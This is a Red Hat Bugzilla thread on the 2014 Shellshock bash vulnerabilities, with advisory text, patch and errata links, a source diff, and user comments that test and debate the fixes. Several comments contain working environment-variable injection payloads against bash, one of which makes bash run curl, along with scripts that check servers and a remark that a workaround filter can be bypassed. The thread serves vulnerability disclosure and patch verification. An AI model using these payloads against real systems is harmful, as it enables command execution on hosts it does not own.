A flaw was found in the bash functionality that evaluates specially formatted environment variables passed to it from another environment. An attacker could use this feature to override or bypass restrictions to the environment to execute shell commands before restrictions have been applied. Certain services and applications allow remote unauthenticated attackers to provide environment variables, allowing them to exploit this issue. Acknowledgements: Red Hat would like to thank Stephane Chazelas for reporting this issue.
Created attachment 937490 [details] Proposed upstream patch
Created attachment 938968 [details] funcdef-import-3.0.patch Upstream backport to bash 3.0
Created attachment 938969 [details] funcdef-import-3.1.patch Upstream backport to bash 3.1
Created attachment 938971 [details] funcdef-import-3.2.patch Upstream backport to bash 3.2
Created attachment 938973 [details] funcdef-import-4.0.patch Upstream backport to bash 4.0
Created attachment 938975 [details] funcdef-import-4.1.patch Upstream backport to bash 4.1
Created attachment 938976 [details] funcdef-import-4.2.patch Upstream backport to bash 4.2
IssueDescription: A flaw was found in the way Bash evaluated certain specially crafted environment variables. An attacker could use this flaw to override or bypass environment restrictions to execute shell commands. Certain services and applications allow remote unauthenticated attackers to provide environment variables, allowing them to exploit this issue.
Public via: http://www.openwall.com/lists/oss-security/2014/09/24/10
This issue has been addressed in the following products: S-JIS for Red Hat Enterprise Linux 6 S-JIS for Red Hat Enterprise Linux 5 Via RHSA-2014:1295 https://rhn.redhat.com/errata/RHSA-2014-1295.html
This issue has been addressed in the following products: Red Hat Enterprise Linux 5.6 Long Life Red Hat Enterprise Linux 5.9 EUS - Server Only Red Hat Enterprise Linux 6.4 EUS - Server and Compute Node Only Red Hat Enterprise Linux 6.2 AUS Red Hat Enterprise Linux 4 Extended Lifecycle Support Via RHSA-2014:1294 https://rhn.redhat.com/errata/RHSA-2014-1294.html
External Reference: https://access.redhat.com/articles/1200223 https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack
This issue has been addressed in the following products: Red Hat Enterprise Linux 6 Red Hat Enterprise Linux 5 Red Hat Enterprise Linux 7 Via RHSA-2014:1293 https://rhn.redhat.com/errata/RHSA-2014-1293.html
This fix seems incomplete. You can for sure overwrite files at least, like this: $ ls -l date ls: cannot access date: No such file or directory $ env -i X='() { (a)=>\' bash -c 'date' bash: X: line 1: syntax error near unexpected token `=' bash: X: line 1: `' bash: error importing function definition for `X' $ ls -l date -rw-------. 1 taviso taviso 0 Sep 24 14:06 date Worse, the second token becomes the command. $ env -i X='() { (a)=>\' bash -c 'echo date'; cat echo bash: X: line 1: syntax error near unexpected token `=' bash: X: line 1: `' bash: error importing function definition for `X' Wed Sep 24 14:12:49 PDT 2014 This seems close to arbitrary code exec.
(In reply to Tavis Ormandy from comment #23) > This fix seems incomplete. You can for sure overwrite files at least, like > this: > > $ ls -l date > ls: cannot access date: No such file or directory > $ env -i X='() { (a)=>\' bash -c 'date' > bash: X: line 1: syntax error near unexpected token `=' > bash: X: line 1: `' > bash: error importing function definition for `X' > $ ls -l date > -rw-------. 1 taviso taviso 0 Sep 24 14:06 date > > Worse, the second token becomes the command. > > $ env -i X='() { (a)=>\' bash -c 'echo date'; cat echo > bash: X: line 1: syntax error near unexpected token `=' > bash: X: line 1: `' > bash: error importing function definition for `X' > Wed Sep 24 14:12:49 PDT 2014 > > This seems close to arbitrary code exec. Furthermore, subsequent tokens become arguments to the command: $ env -i X='() { (a)=>\' bash -c 'echo curl -s https://bugzilla.redhat.com/'; head echo bash: X: line 1: syntax error near unexpected token `=' bash: X: line 1: `' bash: error importing function definition for `X' <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <title>Red Hat Bugzilla Main Page</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="verify-v1" content="1hLjVPyIYh2cX7CL+s5A0k6pKt2FRq7/FSQ/cqGi9J8="> <meta name="y_key" content="1cdf458efae704ba"> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
(In reply to Wesley Hirsch from comment #24) > Furthermore, subsequent tokens become arguments to the command: > > $ env -i X='() { (a)=>\' bash -c 'echo curl -s > https://bugzilla.redhat.com/'; head echo I'm no expert, but didn't you forget to escape near "bash -c 'echo curl"? The ' is ending the env -i function and executing native code - that's not a vulnerability.
(In reply to iggyvolz from comment #25) > (In reply to Wesley Hirsch from comment #24) > > Furthermore, subsequent tokens become arguments to the command: > > > > $ env -i X='() { (a)=>\' bash -c 'echo curl -s > > https://bugzilla.redhat.com/'; head echo > I'm no expert, but didn't you forget to escape near "bash -c 'echo curl"? > The ' is ending the env -i function and executing native code - that's not a > vulnerability. No, he didn't, this is a vulnerability. You can execute env -i 'X=\' env to convince yourself of this fact.
Statement: (none)
Bugs for Fedora are missing and the updates at https://admin.fedoraproject.org/updates/bash lack links to the bugs.
Just as a heads up: The second vulnerability seems also to work with zsh (zsh 4.3.10 (x86_64-redhat-linux-gnu) on CentOS 6.5 and zsh (zsh 4.3.9 (i386-apple-darwin10.0) on Mac.
Just to let you know: The second vulnerability also work on zsh 5.0.2 (x86_64-apple-darwin13.0) on Mac.
$ zsh --version zsh 5.0.2 (x86_64-apple-darwin13.0) $ bash --version GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13) Copyright (C) 2007 Free Software Foundation, Inc. $ env X='() { (a)=>\' bash -c "echo date"; cat echo; rm echo bash: X: line 1: syntax error near unexpected token `=' bash: X: line 1: `' bash: error importing function definition for `X' Thu 25 Sep 2014 12:21:01 BST $ env X='() { (a)=>\' zsh -c "echo date"; cat echo; rm echo date cat: echo: No such file or directory rm: echo: No such file or directory One of us us testing the vulnerability the wrong way.
(In reply to Björn Puttmann from comment #29) > Just as a heads up: The second vulnerability seems also to work with zsh > (zsh 4.3.10 (x86_64-redhat-linux-gnu) on CentOS 6.5 and zsh (zsh 4.3.9 > (i386-apple-darwin10.0) on Mac. (In reply to ZendoQ from comment #30) > Just to let you know: The second vulnerability also work on zsh 5.0.2 > (x86_64-apple-darwin13.0) on Mac. This is nonsense. The import of functions from the environment is a GNU bash-only feature. Neither zsh nor mksh support this. The format GNU bash uses is that, if an imported variable begins with “() {”, it’s taken as function. For every other shell, these are just normal strings.
You are absolutely correct. Please ignore my previous post and sorry for this unnecessary noise.
Would a better way to test for the CVE-2014-7169 vulnerability be something like: export X="() { (a)=>\\"; bash -c '/dev/stdout date'; That way there are no files to clean up afterwards. So if you wanted to test all of your servers you can run something like: for ip in `cat ips.txt`; do echo ====================== echo SERVER IP:$ip; export X="() { (a)=>\\"; bash -c '/dev/stdout date'; ssh altroot@$ip echo echo =========== if date output is above this line then the server is vulnerable =========== done; Thoughts?
WARNING: The Fedora update to bash-4.2.47-4.fc20.x86_64 is snake oil. This command: env X='() { (a)=>\' sh -c "echo date"; cat echo STILL causes a file 'echo' to be created. WATCH OUT.
[ruddo@machein ~]$ env X='() { (a)=>\' sh -c "echo date"; cat echo sh: X: line 1: syntax error near unexpected token `=' sh: X: line 1: `' sh: error importing function definition for `X' Thu Sep 25 18:06:29 MST 2014 TA DAAA. WTH people.
The bash_ld_preload.c workaround trick that is posted in the customer portal is also not worth the effort. This line of code in the patch can easily be subverted: c = strstr(p,"=() {"); All the attacker must do is modify the variable "shellcode" a bit and bam, workaround workarounded.
diff --git a/variables.c b/variables.c index cdc54bc..1a98efa 100644 --- a/variables.c +++ b/variables.c @@ -347,85 +347,25 @@ initialize_shell_variables (env, privmode) temp_var = (SHELL_VAR *)NULL; - /* If exported function, define it now. Don't import functions from - the environment in privileged mode. */ - if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4)) + ro = 0; + if (posixly_correct && STREQ (name, "SHELLOPTS")) { - string_length = strlen (string); - temp_string = (char *)xmalloc (3 + string_length + char_index); - - strcpy (temp_string, name); - temp_string[char_index] = ' '; - strcpy (temp_string + char_index + 1, string); - - if (posixly_correct == 0 || legal_identifier (name)) - parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST); - - /* Ancient backwards compatibility. Old versions of bash exported - functions like name()=() {...} */ - if (name[char_index - 1] == ')' && name[char_index - 2] == '(') - name[char_index - 2] = '\0'; - - if (temp_var = find_function (name)) - { - VSETATTR (temp_var, (att_exported|att_imported)); - array_needs_making = 1; - } - else - { - if (temp_var = bind_variable (name, string, 0)) - { - VSETATTR (temp_var, (att_exported | att_imported | att_invisible)); - array_needs_making = 1; - } - last_command_exit_value = 1; - report_error (_("error importing function definition for `%s'"), name); - } - - /* ( */ - if (name[char_index - 1] == ')' && name[char_index - 2] == '\0') - name[char_index - 2] = '('; /* ) */ + temp_var = find_variable ("SHELLOPTS"); + ro = temp_var && readonly_p (temp_var); + if (temp_var) + VUNSETATTR (temp_var, att_readonly); } -#if defined (ARRAY_VARS) -# if ARRAY_EXPORT - /* Array variables may not yet be exported. */ - else if (*string == '(' && string[1] == '[' && string[strlen (string) - 1] == ')') + temp_var = bind_variable (name, string, 0); + if (temp_var) { - string_length = 1; - temp_string = extract_array_assignment_list (string, &string_length); - temp_var = assign_array_from_string (name, temp_string); - FREE (temp_string); - VSETATTR (temp_var, (att_exported | att_imported)); + if (legal_identifier (name)) + VSETATTR (temp_var, (att_exported | att_imported)); + else + VSETATTR (temp_var, (att_exported | att_imported | att_invisible)); + if (ro) + VSETATTR (temp_var, att_readonly); array_needs_making = 1; } -# endif /* ARRAY_EXPORT */ -#endif -#if 0 - else if (legal_identifier (name)) -#else - else -#endif - { - ro = 0; - if (posixly_correct && STREQ (name, "SHELLOPTS")) - { - temp_var = find_variable ("SHELLOPTS"); - ro = temp_var && readonly_p (temp_var); - if (temp_var) - VUNSETATTR (temp_var, att_readonly); - } - temp_var = bind_variable (name, string, 0); - if (temp_var) - { - if (legal_identifier (name)) - VSETATTR (temp_var, (att_exported | att_imported)); - else - VSETATTR (temp_var, (att_exported | att_imported | att_invisible)); - if (ro) - VSETATTR (temp_var, att_readonly); - array_needs_making = 1; - } - } name[char_index] = '='; /* temp_var can be NULL if it was an exported function with a syntax
https://pastebin.com/MPyZzMg8
(In reply to Rudd-O DragonFear from comment #37) > The bash_ld_preload.c workaround trick that is posted in the customer portal > is also not worth the effort. This line of code in the patch can easily be > subverted: > > c = strstr(p,"=() {"); > > All the attacker must do is modify the variable "shellcode" a bit and bam, > workaround workarounded. variables.c: /* If exported function, define it now. Don't import functions from the environment in privileged mode. */ if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4)) { string_length = strlen (string); $ env -i X=' () { }; echo hello' bash -c 'date' Fri Sep 26 13:37:12 AEST 2014 $ env -i X='( ) { }; echo hello' bash -c 'date' Fri Sep 26 13:37:15 AEST 2014 $ env -i X='() { }; echo hello' bash -c 'date' Fri Sep 26 13:37:19 AEST 2014 $ env -i X='() { }; echo hello' bash -c 'date' bash: X: line 0: syntax error near unexpected token `}' bash: X: line 0: `X () { }; echo hello' bash: error importing function definition for `X' Fri Sep 26 13:37:25 AEST 2014 It would be much appreciated if you can supply an example so that the work around code can be updated, or does the work around code seem correct to you?
Examples: On a server patched to 4.1.2-15.el6_5.1: $ rpm -q bash bash-4.1.2-15.el6_5.1.x86_64 $ env -i X='() { (a)=>\' bash -c "/dev/stdout echo vulnerable"'' bash: X: line 1: syntax error near unexpected token `=' bash: X: line 1: `' bash: error importing function definition for `X' vulnerable On a server patched to 4.1.2-15.el6_5.2: $ rpm -q bash bash-4.1.2-15.el6_5.2.x86_64 $ env -i X='() { (a)=>\' bash -c "echo Vulnerable"'' Vulnerable
(In reply to Colin van Niekerk from comment #41) > $ env -i X='() { (a)=>\' bash -c "/dev/stdout echo vulnerable"'' > $ env -i X='() { (a)=>\' bash -c "echo Vulnerable"'' You forgot something there.
i would like to send special thanks only good job man
What is the best way to test before and after patch the server? Best Regards, Fábio Sbano
(In reply to Fabio S. Sbano from comment #45) > What is the best way to test before and after patch the server? > > Best Regards, > Fábio Sbano As non-root user run: env X='() { (a)=>\' sh -c "echo date"; cat echo If a file called 'echo' is created in the current directory and it prints the date, bash is still vulnerable.
(In reply to Fabio S. Sbano from comment #45) > What is the best way to test before and after patch the server? > Here's one way: $ cd /tmp && rm -f /tmp/echo && \ env 'x=() { :;}; echo vulnerable' 'f=() { (a)=>\' \ bash -c 'echo echo vulnerable'; cat echo If the output includes at least one line that says 'vulnerable', then the version of bash in your $PATH has not yet been fully patched (remember, there are at least 4 CVEs at play, and at least two rounds of patches, one for this bug, and a followon for the others).
Eric, Thanks! #!/bin/sh # 2014-09-26 - Fabio Sbano env x='() { :;}; echo vulnerable' bash -c "echo :-)" | grep "vulnerable" &>/dev/null if [ $? -eq 0 ] then echo 'the system is vulnerable' echo 'doing update' USERNAME=$( who am i | awk '{ print $1 }' ) if [ ${USERNAME} -eq "root" ] then yum update -y bash else sudo yum update -y bash fi env x='() { :;}; echo vulnerable' bash -c "echo :-)" | grep "vulnerable" &>/dev/null [ $? -eq 1 ] && echo "the system is secure now" else echo "the system is already protected" fi
(In reply to Fabio S. Sbano from comment #48) > Eric, Thanks! > > #!/bin/sh > # 2014-09-26 - Fabio Sbano > > env x='() { :;}; echo vulnerable' bash -c "echo :-)" | grep "vulnerable" This only tests if you are vulnerable to CVE-2014-6271. But even if you have patched that, you may still be vulnerable to the weaker CVE-2014-7169, CVE-2014-7186, and CVE-2014-7187. My test in comment 47 covers CVE-2014-7169; and while upstream bash has not yet released an official patch for the crashes of 7186 or 7187 yet, all Red Hat bash builds that have 7169 fixed have also included measures that prevent environment variables from triggering those other crashes. https://securityblog.redhat.com/2014/09/26/frequently-asked-questions-about-the-shellshock-bash-flaws/
Okay!! I understood and will be wait for upstream Regards, Fabio Sbano
Can someone please update https://securityblog.redhat.com/2014/09/26/frequently-asked-questions-about-the-shellshock-bash-flaws/ and/or https://access.redhat.com/articles/1200223 to mention that: Red Hat/Fedora builds that include the fix for CVE-2014-7169 are also immune to CVE-2014-7186/CVE-2014-7187, but people building upstream bash are not yet immune (because Red Hat has added patches that are not yet officially upstream) and give pointers of how to test whether bash is still vulnerable to shellshock attacks, such as using some of the test scripts in this mail for exposing whether a shell is vulnerable to CVE-2014-7186: https://lists.gnu.org/archive/html/bug-bash/2014-09/msg00238.html I'm worried that people will be lulled into a false sense of security ("I've applied both upstream bash patches, therefore I must be secure") when in reality they are still vulnerable to ShellShock until either the entire bash parser is audited to be bug-free (difficult) or until bash is fixed to avoid ever calling the bash parser on arbitrary contents of normal environment variables (easy, as done in the Red Hat patch).
bash-4.3.22-3.fc21 has been pushed to the Fedora 21 stable repository. If problems still persist, please make note of it in this bug report.
(In reply to Eric Blake from comment #51) > Red Hat/Fedora builds that include the fix for CVE-2014-7169 are also immune > to CVE-2014-7186/CVE-2014-7187, but people building upstream bash are not > yet immune (because Red Hat has added patches that are not yet officially > upstream) How about CVE-2014-6277? See http://lcamtuf.blogspot.de/2014/09/bash-bug-apply-unofficial-patch-now.html It seems to be recommended at this stage to kill the feature from orbit. See http://www.openwall.com/lists/oss-security/2014/09/25/13
(In reply to Peter Backes from comment #53) > (In reply to Eric Blake from comment #51) > > Red Hat/Fedora builds that include the fix for CVE-2014-7169 are also immune > > to CVE-2014-7186/CVE-2014-7187, but people building upstream bash are not > > yet immune (because Red Hat has added patches that are not yet officially > > upstream) > > How about CVE-2014-6277? Yes, that is one of the CVEs that Red Hat builds are already immune to, by virtue of moving the function exports out of the regular variable namespace. > > See > > http://lcamtuf.blogspot.de/2014/09/bash-bug-apply-unofficial-patch-now.html That blog is recommending that other distros and upstream bash follow Red Hat's lead. > > It seems to be recommended at this stage to kill the feature from orbit. > > See http://www.openwall.com/lists/oss-security/2014/09/25/13 That is the patch Red Hat used to avoid ALL parser bugs becoming Shell Shock exploit avenues. You do NOT need to kill function exporting, only kill the confusion of a regular variable being mistaken for a function export, which Red Hat has done.
Thanks Eric for clarification
(In reply to Eric Blake from comment #47) > (In reply to Fabio S. Sbano from comment #45) > > What is the best way to test before and after patch the server? > > > > Here's one way: > > $ cd /tmp && rm -f /tmp/echo && \ > env 'x=() { :;}; echo vulnerable' 'f=() { (a)=>\' \ > bash -c 'echo echo vulnerable'; cat echo > > If the output includes at least one line that says 'vulnerable', then the > version of bash in your $PATH has not yet been fully patched (remember, > there are at least 4 CVEs at play, and at least two rounds of patches, one > for this bug, and a followon for the others). Eric, I'm testing upstream bash 4.3.27, built from source, and your method from comment #47 still includes 'vulnerable' in the output. However, none of the individual tests I can find for the CVEs I'm aware of seem to fail on their own - so I am a bit confused. As far as I can tell I am passing everything from [ https://access.redhat.com/articles/1200223 ], and also clear of the tests in your message at [ https://lists.gnu.org/archive/html/bug-bash/2014-09/msg00238.html ] Here is the console output of running the test from comment #47: > testuser@ip-xxx-xx-xx-xxx:~$ bash --version > GNU bash, version 4.3.27(1)-release (x86_64-unknown-linux-gnu) > Copyright (C) 2013 Free Software Foundation, Inc. > License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> > > This is free software; you are free to change and redistribute it. > There is NO WARRANTY, to the extent permitted by law. > testuser@ip-xxx-xx-xx-xxx:~$ cd /tmp && rm -f /tmp/echo && \ > > env 'x=() { :;}; echo vulnerable' 'f=() { (a)=>\' \ > > bash -c 'echo echo vulnerable'; cat echo > echo vulnerable > cat: echo: No such file or directory > testuser@ip-xxx-xx-xx-xxx:/tmp$ I'm wondering if I'm simply failing to make a distinction between a line that says 'echo vulnerable' and a line that literally just says 'vulnerable'.(?) Thank you, Mark
(In reply to Mark Casey from comment #56) > > $ cd /tmp && rm -f /tmp/echo && \ > > env 'x=() { :;}; echo vulnerable' 'f=() { (a)=>\' \ > > bash -c 'echo echo vulnerable'; cat echo > > > > If the output includes at least one line that says 'vulnerable', on a line by itself (and not as part of a larger line) > > then the > > version of bash in your $PATH has not yet been fully patched (remember, > > there are at least 4 CVEs at play, and at least two rounds of patches, one > > for this bug, and a followon for the others). > > > testuser@ip-xxx-xx-xx-xxx:~$ cd /tmp && rm -f /tmp/echo && \ > > > env 'x=() { :;}; echo vulnerable' 'f=() { (a)=>\' \ > > > bash -c 'echo echo vulnerable'; cat echo > > echo vulnerable This is NOT "vulnerable" on a line by itself, so you have a working bash.
This issue has been addressed in the following products: RHEV Manager version 3.4 Via RHSA-2014:1354 https://rhn.redhat.com/errata/RHSA-2014-1354.html